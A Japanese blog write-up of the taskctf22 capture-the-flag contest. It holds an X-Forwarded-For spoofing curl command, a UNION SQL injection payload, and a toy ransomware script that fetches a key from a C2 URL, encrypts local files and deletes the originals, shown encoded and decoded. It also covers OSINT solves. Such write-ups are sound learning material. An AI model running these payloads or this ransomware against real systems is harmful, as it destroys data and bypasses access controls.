[taskctf22] My own writeup

Posted on Dec 4, 2022

2022/12/03(Sat) 00:00(JST) ~ 2022/12/04(Sun) 00:00(JST)の日程で開催されたtaskctf22に参加しました.

ユーザー名yuasaで参加し, 1814ポイント獲得して24位でした. writeupを以下に示します.

[osint] welcome

問題

2019年のtaskctfのwelcome問題のFlagは何でしたっけ?

解法

taskctf 2019で検索するとst98さんのwriteupが見つかり、そこにwelcome問題のflagが書かれていました。

taskctf{let's_enj0y!}

[web] robots

問題

Flagが漏洩してるって聞いたけど、本当ですか???

http://34.82.208.2:31481/

解法

問題名から推測してrobots.txtを見てみると, /admin/flagというパスが存在することがわかります.

$ curl http://34.82.208.2:31481/robots.txt
User-Agent: *
Disallow: /admin/flag%    

/admin/flagを見ると, 内部のIPアドレスではないからダメと言われます.

$ curl http://34.82.208.2:31481/admin/flag
...
<div class="container">
    <h1>401 Unauthorized</h1>
    <p>153.246.178.236 is not internal IP address :(</p>
</div>
...

あるあるの手法であるX-Forwarded-Forヘッダーを127.0.0.1に書き換えるやつを試すとflagが取得できました.

$ curl -H 'X-Forwarded-For: 127.0.0.1' http://34.82.208.2:31481/admin/flag
...
    <h1>flag</h1>
    <p>taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}</p>
taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}

[web] first

問題文

運営している小さな掲示板が100ユーザを達成しました 🎉

そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください!

http://34.82.208.2:31555/

解法

配布されたapiサーバのコードを見ると, クエリパラメータを受け取ってSQL文にそのまま代入おり, SQLインジェクションが可能な状態になっています.

q = ''
if request.args.get('q') is not None:
    q = request.args.get('q')

results = None
c = sqlite3.connect(db_name)
try:
    cur = c.cursor()
    cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
    results = cur.fetchall()
except Exception as e:
    traceback.print_exc()
    return f'error: {e}', 500
finally:
    c.close()

100番目に登録されたユーザーのユーザー名が欲しいです. そこで, UNION句を利用して100件ユーザーを取得し, HTMLにユーザーIDとユーザー名を表示させます. 以下のクエリを実行します.

http://34.82.208.2:31555/?q=hoge' UNION SELECT posts.id, users.id, users.name FROM posts INNER JOIN users LIMIT 100--

sqli

100番目のユーザーはSatomi_Katoであることがわかります.

taskctf{Satomi_Kato}

[misc] ransomware

問題文

友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?

解法

以下のhdb.shが配布されます.

#!/bin/sh
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3

hdb.shに記載されているbase64エンコードされたpythonコードをデコードすると以下が得られます.

#!/usr/bin/env python3

import requests
import glob
import os

C2 = "https://c2.task4233.dev/bD7bB7pc57d2"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()

以下の部分を見ると, ファイル内のテキストを一文字ずつ同一のkeyでXORしたものを結合して暗号化されたflagとし, ファイルに入力していることがわかります.

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)

ちなみに, 暗号化されたflagは以下です.

䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦

flagはtaskctf{}の形式であるので, flagの一文字目はtです. tをkeyでXORしたものが, 暗号化されたflagの一文字目になります.

ガチャガチャXORしてみて, 大体keyが17000から18000だと当たりをつけて総当たりします. keyが特定できたら, flagを全て復元します. 以下のpythonコードを用いてkeyの特定とflagの復元を行います.

data = None
with open("./files/taskctf_flag.txt.encrypted", 'r') as f:
    data = f.read()        
decrypted = "t"

# identify the key
key = None
for k in range(17000, 18000):
    c = chr(ord(data[0]) ^ k)
    if decrypted[0] == c:
        key = k
        
# decrypt file
decrypted = ""
for ch in data:
    decrypted += chr(ord(ch) ^ key)
    
print(decrypted) # taskctf{x0r_1s_e4sy_70_1mplemen7}
taskctf{x0r_1s_e4sy_70_1mplemen7}

[osint] ramen

問題文

このラーメン屋の名前は何でしょう?

正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。

ramen

解法

Googleレンズで検索すると, こちらのブログ記事が見つかります.

記載されている麻婆麺の画像が配布された画像と似ており, 店名である蝋燭屋をflagを提出してみると通りました.

taskctf{蝋燭屋}

[osint] kofun

問題

作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました… もしご存知なら教えてくれませんか?

Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。

kofun

解法

問題文に書いてあるとおり, taskさんのツイートを調べると2022年8月14日に古墳に行っていました。

配布された画像とともに埴輪がある古墳の画像もアップロードされていました. ツイートには「友達と古墳を20基程度回るなどした」と記載されています. どんだけ回ってんねん…

ツイートの埴輪が写っている画像をGoogleレンズで検索すると, 龍角寺古墳群の中のどこかだということがわかりました.

https://www.photolibrary.jp/img547/42580_5310773.html

Googleマップで調べると龍角寺古墳群には20基ほど古墳が存在していることがわかり, 解答の古墳はこの中にあるのではないかと予想しました.

ryukakuji-kofun

しかし, それぞれに載っている写真を見ていてもそれらしいところはありません.

taskさんが一日で回ったのであれば, 付近にまだ古墳があるのではないかと思い, 少し範囲を広げて古墳を検索しました. すると, 上福田岩屋古墳が見つかりました. 写真に映る入り口らしきものも配布された画像のものと似ています.

kamihukutaiwaya-kofun

上福田岩屋古墳でflagを提出すると通りました.

taskctf{上福田岩屋古墳}

感想

いつもはweb問しか解いている余裕がないのですが, 今回はosintやmiscなどの問題も楽しめました. osintをあまり解いたことがない人間としては, kofunの問題はosintの入門としてとても良い問題なのではないかと思いました.

task4233さんは毎年CTFを開催されていて本当にすごいです. 運営お疲れ様です, ありがとうございました.